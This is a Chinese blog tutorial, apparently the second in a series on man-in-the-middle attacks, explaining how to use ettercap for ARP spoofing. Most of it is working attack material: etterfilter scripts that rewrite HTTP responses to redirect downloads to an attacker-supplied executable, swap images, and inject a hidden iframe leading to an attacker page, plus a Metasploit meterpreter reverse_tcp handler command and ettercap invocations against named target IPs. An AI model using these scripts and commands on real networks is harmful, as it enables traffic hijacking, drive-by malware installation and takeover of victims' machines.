MITM(中间人攻击)原理及防范初探(二)

上一篇文章 MITM(中间人攻击)原理及防范初探(一) 给大家介绍了利用ettercap进行arp欺骗及劫持明文口令,后来我发现好友 rootoorotor 的文章介绍比我写的更透彻,所以基础利用大家可以参看他的博文~很棒哦~

这次我会给大家着重介绍在进行MITM时使用到的一个强大的嗅探工具——ettercap

0x00ettercap介绍

0x01ettercap欺骗规则建立

0×02攻击举例

0×03利用ettercap挂马

0×04瞎扯淡

 

————————————————分割线————————————————————————–

0x00ettercap介绍

ettercap是linux下(win下也有)一个异常强大的欺骗工具,可以为你快速建立和发送伪造数据包,级别从网络适配器到各种app不等,也能从本地端口鉴定绑定的数据包,反正要多牛逼就有多牛逼

大家可以从http://ettercap.sourceforge.net/download.php下载

在下载安装包后,到下载的目录分别执行

#./configure&&make&&make install
#./configure&&make&&make plug-ins
#./configure&&make&&make plug-ins_install

win下无脑安装就不做详解了

0x01ettercap欺骗规则建立

工欲善其事必先利其器,我们先为自己的ettercap建立欺骗规则

默认规则如下:

1

当然,你也可以建立自己的规则,比如:


# replace rmccurdy with your website
# replace the url with what ever exe you like

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!n”);
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace(“keep-alive”, “close” “);
replace(“Keep-Alive”, “close” “);

}

if (ip.proto == TCP && search(DATA.data, “: application”) ){
# enable for logging log(DECODED.data, “/tmp/log.log”);
msg(“found EXEn”);
# “Win32″ is the first part of the exe example:
# if the EXE started with “this program must be run in MSDOS mode” you could search for MSDOS etc ..
if (search(DATA.data, “Win32″)) {
msg(“doing nothingn”);
} else {
replace(“200 OK”, “301 Moved Permanently
Location: http://你自己的地址.exe
“);
msg(“redirect successn”);

}
}
这个规则大概是说,把80端口所请求的数据包换成了自己的exe,这是个win32的可执行文件,然后你可以通过MSF生产一个TCP后门啥的,就把这个地址换到location这里,然后用命令

etterfilter alert.filter -o alert.e

进行编译,这里的详细操作可以参考rootoorotor同学的第二篇笔记的一段,他描述的比我详细,也举例写了一个规则

在编译完成后执行

ettercap -T -q -i vboxnet0 -F exe.ef -M ARP

即可进行欺骗

0×02攻击举例

如果你感兴趣,可以参考这里的脚本进行编译

这个脚本实现的功能是改变80端口所请求的图片,并用本地图片替换之

脚本如下:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=http://up.2cto.com/2013/0507/20130507033217339.jpg\" ");
replace("IMG SRC=", "img src=http://up.2cto.com/2013/0507/20130507033217339.jpg\" ");
msg("Filter Ran.\n");
}

编译一下试试~

2

然后键入命令

ettercap -T -q -i wlan0 -F change.ef -M ARP:remote /172.16.1.31/ /172.16.1.1/

(11是我的本机,31是攻击目标)

3

之后被攻击者通过80端口请求的任一图片都会被替换(我换成了我的,嘿嘿)

4

0×03利用ettercap挂马

当然,想要利用ettercap挂马也是可以的,真是狂拽炫酷叼(额,因为网内都是宿舍的同学,我就不挂马了,但是介绍一下方法给大家)

if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.dst == 80 || tcp.dst == 8080) {

#…and if it contains an Accept-Encoding header…

if (search(DATA.data, “Accept-Encoding”)) {

#…remove any Encoding (make sure we are using plain text)

replace(“Accept-Encoding”, “Accept-Nothing!”);

}

}

#–Inject Iframe–

if (ip.proto == TCP && ip.dst != ’192.1.1.200′ && tcp.src == 80 || tcp.src == 8080) {

if (search(DATA.data, “”)){

#Replace it with the body tag and an iframe to our attacking webpage

replace(“”,”<iframe height="0" src="http://192.1.1.200/" width="0"></iframe>

msg(“iframe injected after\n”);

}

if (search(DATA.data, “”)){

replace(“”,”<iframe height="0" src="http://192.1.1.200/" width="0"></iframe>

msg(“iframe injected after\n”);

}

}
利用MSF修改马儿的地址,然后用同样的方法编译脚本

找一个不用的端口号监听,例如

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=172.16.1.31 LPORT=1024 E

如此即监听1024草榴端口(咦,有奇怪的东西混进去了)

然后用ettercap调用脚本

ettercap -Tq -i wlan0 -F /usr/share/ettercap/刚刚编译的文件地址-M arp:remote /172.16.1.31  /172.16.1.11/

执行后目标主机会下载你的后门,和之前我说道的TCP后门产生的效果一样,然后目标运行了网马后你就成功入侵了目标主机

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值